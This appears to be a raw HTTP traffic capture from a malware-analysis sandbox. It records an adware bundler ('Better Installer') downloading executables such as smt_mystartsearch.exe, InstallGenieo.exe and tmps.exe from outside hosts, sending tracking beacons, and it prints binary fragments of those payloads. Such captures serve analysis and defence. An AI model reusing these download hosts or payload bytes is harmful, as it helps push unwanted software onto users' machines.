Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 815616-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 4859b5b31d7492f97e16f66fc2ee5571.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ju4c6ZWnJqulMI0XGJaKDKJEFIRAsMbPpTYBnkV8aCyOwsEKfnxSHw==
].....%8....g.}v..../[email protected].. K......!..xU!....9...:..N.0..rE!.,q.w
~K......I"S..%$~c.....!.J...j%..B.#&...70#9'....\...tS.G.H...qi.a.#.bQ
H.CRV ......XU.....#....Zy@"..C...../..0.C.E]'f5G.M.Y._....:....(1x...
F..*.Y}........}....kVk.F....xewX .0........M]..m....f.G.....,...'z`gR
.].....w.!..".L't..c..s.!-/h>.....o0........}O...`.5.V..\5.........
N..Xx.z.O.X.9....Z..J5%.....u.d......t|......\...?...V). ..S.......(.s
T..e&.......6..)|...&..z........h.....T..t......IJ..9.E.'.hW..........
..0Z.#.FO~8f..,.th|:}Q[.....{ ...n..o.=...F.R..j.CW...B.2.8mx...kbT...
......rh...N...Z..dT..bS..m9....ku..F.. @..l...X....z...-... ...no.,..
.X........[...P..o.....4o"KEms3..9.....X...N.K.......&V.j$....S{... . 
.........6..w{..([email protected]........~[~
.....UlQ .1UF......B.T.....4...*.Ms:..4....w2R...c...C#..E...tQDbs. ..
x5..P.).....Jr..<&......F...af.fU.Nr.xX.H.79N.=Y..b...)(......."r..
....4kK....E..R.$e.]...Bg).. ...L./v......N|-"85..._ '.I.q.....p...2..
........F..w.....;Ts..|..G.fd.e......x.<..0`.....>.c...d........
Sl.#..V^....ND7.s....N.[[email protected]..~.x..B........;o...DE.......XNO...
.......x.....Q..g..%.n.....1..0 ...}>.]k......PE.ar.x.v...Y.5...FR.
|..#$.'.0 ...@~(.B..B.B...t....Bi.6......6..}..M.....l?..4....\...U..&
lt;[email protected]@.!.....*/T$...r..Z.[Iw,
....p9JM....f.....V......*......e4".Y..9.pu.....1c...D..jA.Aw..|V..)..
.Jq..d...k..F..T.g_m.i.G.(...i.An:.....]Q.../..| .P.....ZP..O...q.~...
r........u...\%.!.>..,.p!).U..o..3W.G6....%.. I........4eG....L<<< skipped >>>

GET /dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=845119&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: ins.pricejs.net


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Thu, 08 Jan 2015 04:55:05 GMT

Last-Modified: Sun, 26 Aug 2012 12:59:41 GMT

Server: nginx/1.2.1

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Thu, 08 Jan 2015 04:55:05 GMT..Last-Modified: Sun, 26 Aug 2012 12:59
:41 GMT..Server: nginx/1.2.1..Content-Length: 1..Connection: keep-aliv
e.....

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=3x2t2d45kki1weivr5gsya55; path=/; HttpOnly

Date: Thu, 08 Jan 2015 04:53:15 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET / HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d0635e770f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 0-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d063be840f7b-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................%. @..%. @..%. @..%. @
..%. @..%. @..%. @..%. @..%  @..%$ @..%( @..%, @..%0 @..%4 @..%8 @..%&
lt; @..%@ @..%D @..%H @..%L @..%P @..%T @..%X @..%\ @..%` @..%d @..%h 
@..%l @..%t @..%x @..%| @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%
. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @[email protected].
......].U....V..t..u. ...xu...:[email protected]....^].2...U..QQ.F<.L
04;[email protected]...... ...t.SW...U.y....E.....tD.H..M..M....f..f........
....y.I......A...f..t....u"....1.E..E..9}[email protected].@_[..3...U

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=154160-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 154160

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 154160-308319/308320
g.........t...]....2........U...E.3...t.=....w...P.*g.........t...]...
......U.....S.].VW...U..G...........?........}..M..W.;.s..G.......G..@
... .;.rV3...t..U..].......D..A;.r..]..W....0....~?;.s!.E.....E..M...8
......E...@..@;.r..}.3...3...3. .t..U....48....D..A;.r._^[..].........
....U......P...3..E.SVW....3..W..d$.....D5...B..D5...B..D5...B..D5....
.R....r..G......?.8.....8r..x... .Q............j..U............S..G...
[email protected]._^3.[..^....]..
..U....\[email protected]..........$......P.
[email protected]..}..u...#.....#....U..E..x.j.....
.......#...#....M...V..............#...#....M....p $...........#...#..
..M................#.....#.......|..M..............#.#.....*..G.M.....
.......#...#......F0..M............#...#.......F..M..........#.....#..
......i.M..........#.....#.......D..M............#...#......[...M.....
.........#.#.......\..M..............#.#....."..k.M..}............#...
#....}....q..........]..U..}.....#...#....]..E...Cy.......E...#.......
#M..!..I...}..M.....#......#....u..E..b%......@.@.#........#....U.....
.....#.....#.....QZ^&.M..........#.....#..........M..............#.#..
...]./..M..............#.#.....S.D..M............#...#..........M.....
.......#...#..........M.........#......#........!.M.........#......#..
.....7..M............#...#..........M..U.......#........#.......ZE.M..
.....#......#....U..}..................#...#....u..E............#.....
.#....}.....og...........#...#....]..E...L*.....3......3..B9...E..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: pE2kKQd53aTYGc eVtxeCNxEVeoFvazlTiGRggyP3jwFDvxSg3zStxo9819EYjdvEs2c7WJ0VD8=

x-amz-request-id: 13ABF47E9101D873

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 741306-988407/988408

Content-Type: application/octet-stream

Content-Length: 247102

Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..<<< skipped >>>

GET /ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210&ipr=y HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Jan 2015 04:54:23 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............!.......,...........D.;HTTP/1.1 200 OK..Content-Typ
e: image/gif..Date: Thu, 08 Jan 2015 04:54:23 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..X-Content-Type-Options: nosniff..Server: adclick_
server..Content-Length: 42..X-XSS-Protection: 1; mode=block..Alternate
-Protocol: 80:quic,p=0.02..GIF89a.............!.......,...........D.;.
.

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 2be309403f82d035a03fb49acb2eb499.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xjVXsBMnasYNv27H505tre7speTG7fvQ3i5u71gwGPgppKagB8fNzw==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=192700-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 115620

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 192700-308319/308320
P..$..Y]... P...@..].U...M..E....}..`......A.P.l$..Y]... P...@..].....
..........SVW.T$..D$..L$.URPQQh....d.5.....P...3..D$.d.%.....D$0.X..L$
,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...E........C...E....
d........._^[..L$..A..........t3.D$..H.3......U.h..p..p..p..>......
].D$..T$.........U.L$..).q..q..q(........]...UVWS..3.3.3.3.3...[_^]...
....j...D..3.3.3.3.3...U..SVWj.RhF...Q..^.._^[].U.l$.RQ.t$.........]..
.U...E...u..X.................]..@.]............T$..L$...t...D$...%...
..s..L$.W.|$....].T$.......|...%X.......J..W.....r1.....t. .........u.
......................t.....t.........u..D$._..D$..j.h@.........u....u
..\.... ...................xy;[email protected]..
[email protected].....*.............}..E.............).u..
}.V..K..Y....... .............2.......l....U..VW.}.W.fK..Y...tP.@.....
[email protected]..;K..j....2K..YY;.t.W.&K..YP..|@....u....@...
[email protected]._^].U..V.u..F..t 
.F..t..v..T....f.....3.Y...F..F.^].U..V.u...u.V.....Y./V.,...Y..t.....
[email protected].{...P..J..Y..Y....3.^].U..SV.u.3..F.$.<.uB.F.....t9W.&g
t; ~...~.W.v.V.8...YP.. .....;.u..F...y.....F....N. ..._.N..f....^..[]
.j......Y.j.h`........3..}.!}.j..y...Y!}.3..]..u.;5...................
.t][email protected][email protected].}.....u..@..
t.P.....Y...u..E..e.......F...]..}..u.......4.V.....YY..E.............
..t..E........]..}.j......Y.U..V.u...t.j.3.X..;E.s..b.........3..Q..u.
[email protected]*.=<....t.V.....Y..u..E...t....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 9a81df351bec707d92df4325b8393b71.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wi18hkKSkbw7rEjjCD77r1kuPRLhxbuLCxDGd-1CUPRxf1K7vnQ3Kg==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=38540-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 269780

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 38540-308319/308320

.....Kz...E.P..`...P..H....M..E............H...P......}..r..u.........
..t.....E......E......E..r...`............E...}....t.........p........
.`....r..u...........~..........................x....u.3.....~....Q..d
$...A..u. .Q..~...P..x....dy...E..j.h..A..M..E......E......E...?y...E.
.j.h..A...`.....t.........p.........`......y...E.P..`...P..x....M..E..
..........x...P......}..r..u...........t.....E......E......E..r...`...
.........E...}....t.........p.........`....r..u..w........\......H....
C.H....M......P..H.........}..r..u..>...............x....C.x....M..
....P..x.........}..r..u...........\........A.j.j.j...H....C.H...Pj.h.
.......3..w.................Q..........D...Vj.P.}l.......\....W..D....
.H....C.H...WQj.h.............j.j.j...x....C.x...Pj.h........3..w.....
............Q.'........Vj.S..l............WSW..x....C.x...Qj.h........
[email protected]./.......
......r...x.............\..........................x......>.....H..
..|....... ...3.h....f.E..E.f.E.f.E..E.f.E..E.P..4...P..8...P.W...<
...Ph.....E.Pj.f..E.f..E.f..E.f..E.f..E.f..E.f..E.f..E.....A.3.h....Pf
............P..j...oN..v.f.o^...0f.oF f.on0.v0..0f.o.f.:...f...f.o.f.:
...f..G.f.o.f.:...f..o ..0}..v......f.oN..v..I.f.o^...0f.oF f.on0.v0..
0f.o.f.:...f...f.o.f.:...f..G.f.o.f.:...f..o ..0}..v..Vf.oN..v...f.o^.
..0f.oF f.on0.v0..0f.o.f.:...f...f.o.f.:...f..G.f.o.f.:...f..o ..0}..v
....|...o.....v.f............s.......v..........s...~.....v.f.........
([email protected]*...$.([email protected].......$.<.@..$.8

<<< skipped >>>

GET /app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzT8caJ6Xjpr7zZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3h59qqyznKLchjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGHU1ykWYUg7GpZ  taBa9mFoK8PjmuGTkdEHBtq8JqhDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gUKiQ wA8u5okIruQ RRBqg1V20D8k3IQ UVDrGcF71EayYTtvALvT7oW0z9NLN4aDchJbXoZFrU HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:54:21 GMT..Content-Length: 0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

X-Cache: Hit from cloudfront

Via: 1.1 9a81df351bec707d92df4325b8393b71.cloudfront.net (CloudFront)

X-Amz-Cf-Id: aHYNqDpboSVlqdKAG8cFW3O03em6jH9P4mqrsR-QUgJ1FFUmGpGLIw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=269780-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 38540

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 269780-308319/308320

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
